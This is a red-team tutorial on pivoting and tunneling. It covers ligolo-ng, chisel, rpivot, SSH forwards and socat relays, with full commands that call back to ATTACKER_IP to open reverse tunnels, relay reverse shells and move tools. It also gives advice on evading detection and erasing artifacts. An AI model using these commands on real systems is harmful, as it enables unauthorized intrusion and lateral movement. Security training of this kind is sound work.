4.1_Pivoting_and_Tunneling

4.1 — Pivoting and Tunneling

BLUF: Pivoting is how you reach the next network segment from a compromised host. In modern engagements, ligolo-ng is the primary tool — it creates a full TUN interface that lets your entire toolset operate natively across segment boundaries without proxychains. Chisel handles HTTP-tunnel situations. SSH covers simple forward/reverse cases. The operator rule is simple: use the least noisy transport that preserves access, keep tunnels narrow, and treat the pivot host like a sensor that will remember what you did.

Note

Relationship to other files: Pivoting is the transport layer. C2 lateral movement (psexec, WMI, SMB) is covered in 2. Windows_AD AI7. SSH tunnels for C2 routing are in 7. C2 Section 3. This file covers the pivot infrastructure itself — how to make the next network segment reachable to your tools.


Operator Flow

Use this file in order:

  1. Choose the transport with the decision tree below.
  2. Apply the guardrails before opening a tunnel.
  3. Use the method section for setup (ligolo-ng, chisel, rpivot, SSH).
  4. Use Section 5 when the real problem is the three-host pattern (A -> B -> C).
  5. Use Sections 6-8 for wrappers, double pivots, and file movement.
  6. Use Section 9 to clean up routes, tunnels, and binaries.

Tool Selection Decision Tree

[Compromised host has outbound internet?]
    |
    YES --> [Can it reach your attacker machine on a custom port?]
    |           |
    |           YES --> ligolo-ng (preferred — full TUN device)
    |           |
    |           NO  --> [Only HTTP/HTTPS egress?]
    |                       |
    |                       YES --> chisel (HTTP tunnel)
    |                       |
    |                       NO  --> DNS only --> iodine or dnscat2 (see [[7. C2]] DNS C2)
    |
    NO --> [Compromised host has SSH access?]
                |
                YES --> SSH local/remote/dynamic forward
                |
                NO --> rpivot (reverse SOCKS from target to attacker)

MITRE ATT&CK Mapping

Technique ID Name Tool
T1090.001 Internal Proxy ligolo-ng, chisel, rpivot
T1090.002 External Proxy SSH dynamic forward, SOCKS5
T1572 Protocol Tunneling chisel (HTTP), iodine (DNS), SSH TUN
T1021.004 SSH SSH -L / -R / -D / -w
T1041 Exfiltration Over C2 Channel Any pivot used for data movement

Operator Guardrails

Before you pivot, decide these six things:

  1. What is the minimum route you need? Add only the subnet or host you actually need, not the whole RFC1918 range.
  2. What is the narrowest transport that works? Prefer one-hop routed access over multi-hop SOCKS chains when possible.
  3. What identity will create the least suspicion? Service or infrastructure accounts are often less visible than interactive user logons, but only use accounts authorized for the engagement.
  4. What artifacts will this leave on the pivot? New processes, auth logs, long-lived TCP sessions, dropped binaries, and shell history all matter.
  5. What traffic shape is normal from this host? A web server opening long-lived SSH or high-fanout SMB traffic is more suspicious than an admin jump box doing the same.
  6. How will you remove it cleanly? Plan route deletion, tunnel teardown, binary removal, and config rollback before you start.

Preferred order of use:

  1. ligolo-ng when you can get an outbound agent to your infrastructure
  2. SSH -L / -R / -D when SSH already exists and you need a simple one-hop
  3. chisel when only HTTP/HTTPS egress is realistic
  4. rpivot when you need a reverse SOCKS fallback and modern options are blocked

OPSEC rule: Pivoting is not stealthy by default. The stealth comes from keeping the tunnel lifetime short, the route scope small, and the traffic volume close to the host's normal behavior.


Section 1 — ligolo-ng (Current Standard)

ligolo-ng creates a TUN network interface on your attack machine that routes traffic directly to the pivoted network. No proxychains, no SOCKS wrapper — your tools see native IPs and use any protocol (TCP, UDP, ICMP).

Architecture

[Attacker machine]          [Pivot host (compromised)]    [Target segment]
  tun0: 240.0.0.1    <---->    agent (runs on pivot)  <----> 10.10.20.0/24
  
  nmap 10.10.20.0/24    # runs natively — no proxychains
  crackmapexec smb 10.10.20.5
  evil-winrm -i 10.10.20.5

Setup

# Download binaries (attacker machine — download both proxy and agent)
# https://github.com/nicocha30/ligolo-ng/releases
# proxy  = runs on YOUR machine (the C2/attack box)
# agent  = runs on the PIVOT host (the compromised box)

# Attacker: create TUN interface and start the proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

# Pivot host: upload and run the agent (Windows)
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert

# Pivot host: upload and run the agent (Linux)
chmod +x agent && ./agent -connect ATTACKER_IP:11601 -ignore-cert

# Back on attacker: in the ligolo-ng proxy console:
ligolo-ng >> session        # list connected agents
ligolo-ng >> session 1      # select the pivot agent

# Add the target network route to your TUN interface
sudo ip route add 10.10.20.0/24 dev ligolo

# Start the tunnel
ligolo-ng >> start

# Verify routing
ip route show   # should show 10.10.20.0/24 via ligolo TUN
ping 10.10.20.1 # test reachability into the segment

OPSEC: ligolo-ng is strong because your tooling stays on your box, but the pivot still shows a new process and a long-lived outbound TCP session. Use a real certificate if possible, scope routes to specific hosts or subnets, and do not leave the agent running longer than needed.

Multi-Hop (Pivot Through Two Segments)

# Scenario: Attacker → Pivot1 (10.10.10.5) → Segment A (10.10.20.0/24) → Pivot2 (10.10.20.15) → Segment B (10.10.30.0/24)

# Step 1: First pivot to Segment A (as above)
sudo ip route add 10.10.20.0/24 dev ligolo
ligolo-ng >> start

# Step 2: Upload agent to Pivot2 (10.10.20.15) via your first pivot
# You can now reach Pivot2 natively via the ligolo TUN
scp agent user@10.10.20.15:/tmp/agent       # or use C2 upload
ssh user@10.10.20.15 '/tmp/agent -connect ATTACKER_IP:11601 -ignore-cert &'

# Step 3: In ligolo-ng proxy console — select second session
ligolo-ng >> session 2
sudo ip route add 10.10.30.0/24 dev ligolo
ligolo-ng >> start

# Now you have native access to both Segment A and Segment B
nmap -sV 10.10.30.0/24   # scans Segment B natively

Listener (Expose a Port on the Pivot)

# Make the pivot host listen on a port and forward to your machine
# Use case: deliver a payload via the pivot's IP (beacons calling back to pivot instead of you)
ligolo-ng >> listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444 --tcp
# Now: beacon on Segment A connects to PIVOT1_IP:1234 → ligolo forwards to YOUR_MACHINE:4444

OPSEC: listener_add is useful for payload delivery, but it also turns the pivot into an explicit redirector. Bind only the exact listener you need, for the exact time window you need, and remove it as soon as the downstream session is stable.


Section 2 — Chisel (HTTP Tunnel)

Chisel tunnels TCP connections over HTTP/HTTPS. Use it when the pivot host can only reach outbound HTTP/HTTPS (e.g., a web server behind a strict WAF/firewall).

Architecture

[Attacker machine]        [Pivot host]         [Target segment]
chisel server (listen)  <-- HTTP tunnel --  chisel client (runs on pivot)
socks5://127.0.0.1:1080  ←─────────────────────────────────────────────── 10.10.20.0/24

Setup

# Attacker: start chisel server (SOCKS5 listener on localhost:1080)
./chisel server --reverse --port 8080 --socks5

# Pivot host: connect to your chisel server
./chisel client ATTACKER_IP:8080 R:socks    # creates SOCKS5 on attacker port 1080

# Configure proxychains on attacker
cat >> /etc/proxychains4.conf << 'EOF'
[ProxyList]
socks5  127.0.0.1  1080
EOF

# Now use proxychains with any tool
proxychains nmap -sT -p 22,80,443,445 10.10.20.5   # -sT required (SOCKS can't do raw packets)
proxychains crackmapexec smb 10.10.20.5 -u admin -p Password1
proxychains evil-winrm -i 10.10.20.5 -u admin -p Password1

HTTPS Tunnel (Blends with Web Traffic)

# Attacker: run chisel server on port 443 with TLS
./chisel server --reverse --port 443 --tls-key /etc/letsencrypt/live/domain.com/privkey.pem \
  --tls-cert /etc/letsencrypt/live/domain.com/fullchain.pem --socks5

# Pivot host: connect via HTTPS
./chisel client --tls-skip-verify https://ATTACKER_IP:443 R:socks

Port Forward via Chisel

# Forward a specific port from the internal network to your local machine
# Use case: reach an internal web app at 10.10.20.10:8080 from your browser

# Attacker: start server
./chisel server --reverse --port 8080

# Pivot: forward internal port to attacker
./chisel client ATTACKER_IP:8080 R:8888:10.10.20.10:8080

# Browse: http://127.0.0.1:8888 on your attacker machine → hits 10.10.20.10:8080

OPSEC: chisel blends better over HTTP/HTTPS than raw SSH in some environments, but default traffic is still recognizable and long-lived tunnels stand out at proxies. Prefer TLS on a realistic port, keep SOCKS usage targeted, and remember that proxychains-driven broad scans through chisel create obvious fan-out from the pivot.


Section 3 — rpivot (Reverse SOCKS for Locked-Down Environments)

rpivot creates a reverse SOCKS4 proxy. The pivot host connects outbound to you — useful when you can't reach the pivot host's IP (e.g., it's behind NAT with no port forwarding).

# rpivot: https://github.com/klsecservices/rpivot
# Two components: server.py (attacker) and client.py (pivot host)

# Attacker: start server
python2 server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

# Pivot host: run the client (connects outbound to your server)
python2 client.py --server-ip ATTACKER_IP --server-port 9999

# Configure proxychains (socks4 — rpivot is SOCKS4 only):
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf

# Use via proxychains
proxychains nmap -sT -Pn 10.10.20.5
proxychains curl http://10.10.20.10:8080/

OPSEC: rpivot is the fallback, not the first pick. It is older, SOCKS4-only, and usually requires Python on the pivot. Use it when you truly need reverse connectivity and lighter options are blocked; otherwise you are adding compatibility pain and process noise for little gain.


Section 4 — SSH Tunnels

SSH is universally present on Linux infrastructure. Use it for simple one-hop pivots or when ligolo-ng/chisel can't be deployed.

Local Forward (-L)

Expose an internal service to your local machine.

# Access an internal web app at 10.10.20.10:80 via the pivot host
ssh -L 8080:10.10.20.10:80 user@PIVOT_HOST -N -f
# Now: http://127.0.0.1:8080 on your machine → 10.10.20.10:80

# Access internal RDP (3389) via pivot
ssh -L 13389:10.10.20.5:3389 user@PIVOT_HOST -N -f
xfreerdp /v:127.0.0.1:13389 /u:admin /p:Password1

Remote Forward (-R)

Expose your local listener on the pivot host's network (reverse beacon delivery).

# Your C2 listens on localhost:4444. Make the pivot host accept beacon connections on port 4444
ssh -R 4444:127.0.0.1:4444 user@PIVOT_HOST -N -f
# Beacons on the target network connect to PIVOT_HOST:4444 → tunnels to YOUR C2 port

Dynamic Forward (-D) — SOCKS Proxy

Full SOCKS5 proxy through the pivot host — all traffic exits from the pivot's network position.

ssh -D 1080 user@PIVOT_HOST -N -f

# Configure proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

proxychains nmap -sT -Pn -p 22,80,443,445,3389,5985 10.10.20.0/24
proxychains crackmapexec smb 10.10.20.0/24 -u admin -p 'Password1'

Persistent Tunnel (autossh)

# Install
apt install autossh -y

# Persistent SOCKS proxy — auto-reconnects on drop
autossh -M 0 -f -N -D 1080 \
  -o ServerAliveInterval=30 \
  -o ServerAliveCountMax=3 \
  -o ExitOnForwardFailure=yes \
  -i ~/.ssh/id_eng_client \
  user@PIVOT_HOST

# The tunnel reconnects automatically if the SSH session drops

SSH TUN/TAP (Full Layer 3 Pivot)

# Requires: PermitTunnel yes in sshd_config on pivot host (or root to enable it)
# Creates a full TUN interface — equivalent to ligolo-ng for simple one-hop scenarios

# Enable on pivot host (requires root):
echo "PermitTunnel yes" >> /etc/ssh/sshd_config && systemctl restart sshd

# On attacker:
ssh -w 0:0 user@PIVOT_HOST -N -f

# Configure TUN interfaces:
# Attacker:
sudo ip addr add 10.0.0.1/30 dev tun0 && sudo ip link set tun0 up

# Pivot host:
sudo ip addr add 10.0.0.2/30 dev tun0 && sudo ip link set tun0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/30 -o eth0 -j MASQUERADE

# Route target segment through TUN:
sudo ip route add 10.10.20.0/24 via 10.0.0.2 dev tun0

# Tools now run natively to the segment — no proxychains
nmap -sV 10.10.20.5

OPSEC: SSH forwarding is often the cleanest option because it reuses a legitimate administration protocol, but it is still noisy when it creates unusual long-lived sessions or unexpected forwards. Prefer -N -f non-interactive sessions, use key-based auth where possible, and avoid modifying sshd_config on the pivot unless there is no safer path.


Section 5 — A → B → C: Three-Host Pivot Blueprint

Your three-node mental model:

[A] Your host  ──────►  [B] Jump host  ──────►  [C] Target
   Kali / Mac              Compromised              ??? access

The setup changes entirely based on what access you have on C:

Scenario Access to C Best Method
1 SSH creds or key ProxyJump / ligolo double-hop
2 Shell only (no SSH daemon) Reverse chisel or reverse SSH -R from C
3 No access yet SSH -D SOCKS from B / tools on B / ligolo from A

Scenario 1 — C Has SSH Running (You Have Creds or Key)

Option A — SSH ProxyJump (fastest, no extra tooling)

# Single command from A — B is a transparent relay, no shell opens on B
ssh -J userB@B userC@C

# Cleaner — set in ~/.ssh/config:
# Host C
#     HostName C_IP
#     User userC
#     ProxyJump userB@B
#     IdentityFile ~/.ssh/id_rsa
ssh C   # one word from anywhere

# SOCKS proxy through both hops (lets proxychains reach C's network)
ssh -D 1080 -J userB@B userC@C -N -f

B sees the connection (auth log + forwarded TCP) but no interactive shell opens. Only artifacts: auth event on B + auth event on C.

OPSEC: ProxyJump is the fastest low-friction path when SSH already exists on C. It is usually quieter than dropping extra tooling on B, but it still creates linked auth events on both systems, so it is best for short task-focused access rather than leaving open all day.

Option B — ligolo-ng double-hop (native toolset access, no proxychains)

# 1. Start proxy on A, deploy agent on B
sudo ./proxy -selfcert -laddr 0.0.0.0:11601          # A
./agent -connect A_IP:11601 -ignore-cert &            # B

# 2. In ligolo console on A — route B's adjacent network
sudo ip route add B_LOCAL_NET/24 dev ligolo
ligolo-ng >> start

# 3. Deploy agent to C (you have SSH — use it)
scp agent userC@C_IP:/tmp/agent
ssh userC@C_IP '/tmp/agent -connect A_IP:11601 -ignore-cert &'

# 4. Back in ligolo console — select C's session
ligolo-ng >> session 2
sudo ip route add C_LOCAL_NET/24 dev ligolo
ligolo-ng >> start

# Full native access from A — no proxychains needed
nmap -sV C_LOCAL_NET/24
crackmapexec smb C_IP
evil-winrm -i C_IP -u admin -p 'Password1'

OPSEC: Double-hop ligolo-ng is powerful because it keeps tooling on A, but every extra hop adds another long-lived agent and another route to explain in logs and netflow. Only take the second hop once you know you need that segment.


Scenario 2 — Shell on C, No SSH Daemon

C has a web shell, bind shell, or reverse netcat. SSH into C is not possible. Make C dial outbound through B to you.

Option A — Reverse chisel (C → B → A) — recommended

# 1. On A — start your chisel server
./chisel server --reverse --port 8080 --socks5
# SOCKS5 will appear on A:1080

# 2. On B — relay chisel server so C has something local to connect to
#    (skip this step if C has direct outbound access to A)
./chisel server --reverse --port 8081 --socks5

# 3. On C (shell) — connect chisel client outbound to B
./chisel client B_IP:8081 R:socks
# If C can reach A directly:
./chisel client A_IP:8080 R:socks

# 4. From A — attack C through the SOCKS5 on localhost:1080
proxychains nmap -sT -Pn C_IP
proxychains crackmapexec smb C_IP -u admin -p 'Password1'
proxychains impacket-psexec domain/admin@C_IP

OPSEC: Reverse chisel is usually the best shell-only option because C initiates the connection. That said, SOCKS on A makes it easy to overuse the path; the tunnel is quiet, but the traffic you push through it may not be.

Option B — Reverse SSH from C (if C has an SSH client binary)

# 1. On C (your shell) — dial out to B, open a reverse port forward
#    B will listen on :2222; traffic goes to C's SSH (localhost:22)
ssh -N -f -R 2222:localhost:22 svc_acct@B
#           ↑ Use a service/machine account — less attribution than userB

# 2. From A — ProxyJump through B to reach C's reverse port
ssh -J svc_acct@B -p 2222 localhost

# Alternative: pull B's :2222 down to A's localhost first
ssh -L 2222:localhost:2222 svc_acct@B -N -f   # A
ssh -p 2222 localhost                           # A → C

OPSEC: Reverse SSH is good when an SSH client is already present on C and outbound SSH is normal. Use a non-interactive account if authorized, keep the reverse port non-obvious, and tear it down immediately after you have the access path you need.

Option C — Socat relay on B (no extra binaries on C)

# B forwards any connection on :4444 to C
socat TCP-LISTEN:4444,fork TCP:C_IP:TARGET_PORT &

# Your listener on A — C's reverse shell arrives via B
nc -lvnp 4444
# Trigger reverse shell on C → C connects to B:4444 → relayed to A

OPSEC: socat is excellent for short, precise relays, but it is also easy to forget about in the background. Use it for a narrow purpose, bind only the port you need, and kill it when the handoff is done.

Option D — Metasploit route / session pivoting (if C is a Meterpreter session)

# Inside msfconsole — add route through existing session on B
route add C_NET/24 SESSION_ID

# Or use socks module to expose SOCKS on A
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j

proxychains crackmapexec smb C_IP

OPSEC: Meterpreter routing is relatively quiet on the pivot because it avoids a second tunnel process, but it centralizes a lot of capability in one implant. If that implant gets burned, you lose both access and transport at once.


Scenario 3 — No Access to C Yet (Pivot to Attack C from B)

B is your launchpad. C is a target you haven't touched. Use B's network position to reach and compromise C.

Option A — SSH -D SOCKS proxy: run tools from A through B's position

# Open dynamic SOCKS through B — all proxychains traffic exits from B's NIC
ssh -D 1080 userB@B -N -f

proxychains nmap -sT -Pn -p 22,80,443,445,3389,5985 C_IP
proxychains crackmapexec smb C_IP -u admin -p 'Password1'
proxychains impacket-smbexec domain/user@C_IP

# Once you get a shell on C — loop back to Scenario 2

OPSEC: SSH -D through B is easy to abuse because it makes the entire segment feel local. Use host lists, fixed target ports, and time-boxed actions; broad subnet sweeps through a SOCKS pivot are one of the fastest ways to light up internal monitoring.

Option B — Run tools directly on B (full shell, no hop delay)

# Upload static binaries to B
scp nmap_static userB@B:/tmp/nmap
scp linpeas.sh   userB@B:/tmp/lp.sh

# SSH to B and attack C from there — no relay overhead, direct LAN access
ssh userB@B
  chmod +x /tmp/nmap /tmp/lp.sh
  /tmp/nmap -sV -Pn -p- C_IP
  /tmp/lp.sh | grep -i -E 'network|priv|sudo'

OPSEC: Running tools directly on B gives the best performance and the worst host artifacts. Only do this when relay overhead blocks the task, and prefer single-purpose binaries over dropping a full toolkit on disk.

Option C — ligolo-ng agent on B: native scanning from A with no proxychains

# If agent is already running on B (Scenario 1 step 1-2)
# Route C's subnet through ligolo TUN on A — attack C natively
sudo ip route add C_NET/24 dev ligolo
nmap -sV C_IP          # runs from A, exits through B's NIC
crackmapexec smb C_IP  # no proxychains wrapper needed

OPSEC: This is the quietest of the Scenario 3 options from A's perspective, but B still becomes the source of your internal traffic. Keep the route limited and avoid turning a native pivot into a broad scan platform.


OPSEC — What Gets Logged Where

Method Artifacts on B Artifacts on C Noise
SSH ProxyJump (userB) Auth log + forwarded TCP to C Auth log (source = B's IP) 🟡 Medium
ligolo-ng agent on B Process list + outbound TCP :11601 Process list (agent) + outbound TCP 🟡 Medium
Chisel reverse (C → B) Listening port + SOCKS traffic from C Outbound TCP (chisel client) 🟢 Low
SSH -R from C (svc acct) Auth log for svc_acct only Outbound SSH event from C 🟢 Low
SSH -D from A only Auth log (userB) + long-lived session Nothing 🟡 Medium
Socat relay on B Listening port + forwarded TCP Outbound connection only 🟢 Low
Tools run interactively on B bash history + commands executed Nothing 🔴 High
Meterpreter route Network traffic only (no new process) Nothing 🟢 Low

Rule: B is always your relay — it will see something. What you control is how much and as whom. Interactive logins and bash commands are the loudest signals. Favour tunnel-only modes (-N, chisel, socat) over interactive shells on B.


Decision Flow

Can you SSH to C?
│
├── YES ──► SSH ProxyJump (-J) for quick access
│           ligolo-ng double-hop for full native toolset
│
└── NO ────► Does C have outbound network access?
             │
             ├── YES ──► Chisel reverse: C → B → A  (Option A — preferred)
             │           Reverse SSH -R from C via svc account on B
             │           Socat relay on B if no binaries available on C
             │
             └── NO ────► Attack C blindly from B's position
                          SSH -D SOCKS from A through B (tools run from A)
                          Upload tools to B, run locally (fastest LAN access)
                          ligolo-ng on B → native scanning from A
                          ▸ Once shell on C → revisit Scenario 2

Section 6 — proxychains Configuration

proxychains is the fallback when you can't use a TUN device (chisel/rpivot/SSH -D output is SOCKS, not a routed interface).

# /etc/proxychains4.conf (or ~/.proxychains/proxychains.conf)
strict_chain          # fail if any proxy in chain fails (use for debugging)
# dynamic_chain       # skip failed proxies (use for reliability in complex chains)
proxy_dns             # resolve DNS through the proxy (prevents DNS leaks)
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5  127.0.0.1  1080   # single proxy

# Double hop (uncomment dynamic_chain):
# socks5  127.0.0.1  1080  # first SOCKS5 (ligolo/chisel/SSH -D)
# socks5  127.0.0.1  1081  # second SOCKS5 (second pivot)

proxychains limitations:

# Correct nmap usage through proxychains:
proxychains nmap -sT -Pn -p 22,80,443,445,1433,3306,3389,5985,8080 10.10.20.0/24

# Incorrect (won't work — raw packets):
proxychains nmap -sS -O 10.10.20.0/24   # SYN scan, ICMP OS detection — both fail

OPSEC: proxychains is a wrapper of last resort, not a reason to forget routing discipline. proxy_dns matters because DNS leakage is often louder than the TCP connection itself, and dynamic_chain is usually safer than stacking brittle multi-hop chains you do not need.


Section 7 — Double Pivot (Reaching a Third Segment)

[Attacker] → [Pivot1: 10.10.10.5] → [Pivot2: 10.10.20.15] → [Segment B: 10.10.30.0/24]

With ligolo-ng (Preferred)

# Step 1: Pivot to Segment A (as in Section 1)
sudo ip route add 10.10.20.0/24 dev ligolo && ligolo-ng >> start

# Step 2: Connect agent on Pivot2 back to you (now reachable via TUN)
# Deploy agent to 10.10.20.15 via C2 / file copy
ssh root@10.10.20.15 '/tmp/agent -connect ATTACKER_IP:11601 -ignore-cert &'

# Step 3: Select new session in ligolo-ng
ligolo-ng >> session 2
sudo ip route add 10.10.30.0/24 dev ligolo && ligolo-ng >> start

# Full native access to both segments

With chisel + proxychains (When TUN Not Available)

# Pivot1: connect to your chisel server (creates SOCKS on attacker 1080)
./chisel client ATTACKER_IP:8080 R:socks

# Pivot2: run a second chisel client through Pivot1 (via proxychains)
# Upload chisel to Pivot2 via your first SOCKS proxy
proxychains scp chisel user@10.10.20.15:/tmp/chisel

# Start second chisel server on Pivot1 (listening on its internal IP)
ssh user@PIVOT1 "./chisel server --reverse --port 8081 --socks5 &"

# Pivot2: connect to Pivot1's chisel server
proxychains ssh user@10.10.20.15 "/tmp/chisel client 10.10.10.5:8081 R:socks &"
# This creates a second SOCKS on Pivot1's localhost:1080

# SSH forward Pivot1's SOCKS port to your attacker
ssh -L 1081:127.0.0.1:1080 user@PIVOT1 -N -f

# /etc/proxychains.conf with dynamic_chain:
# socks5 127.0.0.1 1080   # Pivot1
# socks5 127.0.0.1 1081   # Pivot2 (via Pivot1)

proxychains nmap -sT -Pn 10.10.30.5   # traffic: Attacker → Pivot1 → Pivot2 → Segment B

OPSEC: Double pivots compound mistakes. If one hop is noisy, two hops are worse. Validate reachability with a single host and a single port first, then expand only as required.


Section 8 — Transferring Files Through a Pivot

Once a pivot is established, use it to move tools and loot.

# Through ligolo-ng TUN (native — no wrapper needed)
scp tool.exe user@10.10.20.15:C:\\Windows\\Temp\\tool.exe
curl -o /tmp/tool http://10.10.20.15/tool

# Through proxychains + SCP
proxychains scp tool.exe user@10.10.20.15:/tmp/tool.exe

# Through proxychains + SMB (Impacket)
proxychains smbclient //10.10.20.15/C$ -U 'domain/admin%Password1' -c "put tool.exe Windows\\Temp\\tool.exe"

# Python HTTP server on pivot host (serve tools to deeper hosts)
# On Pivot1 (10.10.10.5):
python3 -m http.server 8888 &
# From Pivot2 to reach it:
curl http://10.10.10.5:8888/tool.exe -o /tmp/tool.exe

OPSEC: File transfer through a pivot is often louder than the tunnel itself. Move only what you need, prefer existing admin shares or native copy paths over spinning up ad-hoc servers, and hash your tools beforehand so you can verify quickly and delete them quickly.


Section 9 — Pivot OPSEC Lifecycle

# Kill tunnels cleanly at end of engagement
# ligolo-ng: stop tunnel in console, remove route
ligolo-ng >> stop
sudo ip route del 10.10.20.0/24 dev ligolo
sudo ip link del ligolo

# Remove agent binaries from pivot hosts
ssh user@PIVOT_HOST "rm -f /tmp/agent"

# Close SSH tunnels
# Find backgrounded SSH processes
ps aux | grep 'ssh -'
kill PID

# autossh
ps aux | grep autossh
kill PID

# Remove known_hosts entries for pivoted hosts
ssh-keygen -R 10.10.20.15

# Undo sshd_config changes on pivot hosts
sed -i '/PermitTunnel yes/d' /etc/ssh/sshd_config && systemctl restart sshd

Detection signals to be aware of

Common operator mistakes

Pivot cleanup checklist

  1. Stop the tunnel or listener.
  2. Remove the route or local forward.
  3. Kill the background process by PID.
  4. Delete uploaded binaries and temp files on the pivot.
  5. Roll back any daemon or firewall config changes.
  6. Re-test to confirm the path is actually gone.

Quick Reference

Scenario Tool Command OPSEC note
Full TUN device — preferred ligolo-ng proxy -selfcert + agent -connect Strong default; still leaves agent process + outbound session
HTTP-only egress chisel server --reverse + client R:socks Better for web-only egress; watch proxy visibility and tunnel lifetime
No inbound reach to pivot rpivot server.py + client.py Fallback only; older tooling and more host-side friction
Quick SSH SOCKS proxy SSH -D ssh -D 1080 user@pivot -N -f Easy and noisy if you over-scan through it
Expose local port on pivot SSH -R ssh -R PORT:127.0.0.1:PORT user@pivot -N -f Good for reverse delivery; remove once downstream callback lands
Access internal port locally SSH -L ssh -L 8080:INTERNAL_IP:PORT user@pivot -N -f Narrow and clean; best when you only need one service
Full Layer 3 via SSH SSH TUN ssh -w 0:0 user@pivot -N -f Effective, but daemon config changes are high-friction and memorable
Persistent tunnel autossh autossh -M 0 -f -N -D 1080 user@pivot Reliable and easy to forget; use only when persistence is actually needed
Double pivot ligolo-ng (2nd agent) Add route + start for second session Powerful, but each extra hop increases dwell time and artifacts
A→B→C — SSH on C SSH ProxyJump ssh -J userB@B userC@C Fastest path; creates linked auth events on B and C
A→B→C — shell only on C chisel reverse C: chisel client B_IP:8081 R:socks Good shell-only choice; easiest mistake is overusing the SOCKS path afterward
A→B→C — reverse SSH from C SSH -R C: ssh -N -R 2222:localhost:22 svc_acct@B Clean if SSH is already normal from C
A→B→C — no access to C yet SSH -D SOCKS ssh -D 1080 userB@B -N -f then proxychains Safe only if target lists and port scope stay tight
A→B→C — socat relay on B socat B: socat TCP-LISTEN:4444,fork TCP:C_IP:PORT Precise and short-lived; dangerous when left behind

Resources

Resource Purpose
ligolo-ng Primary pivot tool — TUN interface
chisel HTTP tunnel pivot
rpivot Reverse SOCKS4 for locked-down hosts
autossh Persistent SSH tunnel management
sshuttle VPN-over-SSH alternative to TUN
Proxychains-ng SOCKS proxy wrapper for tools

Part of the Red Teaming 101 series.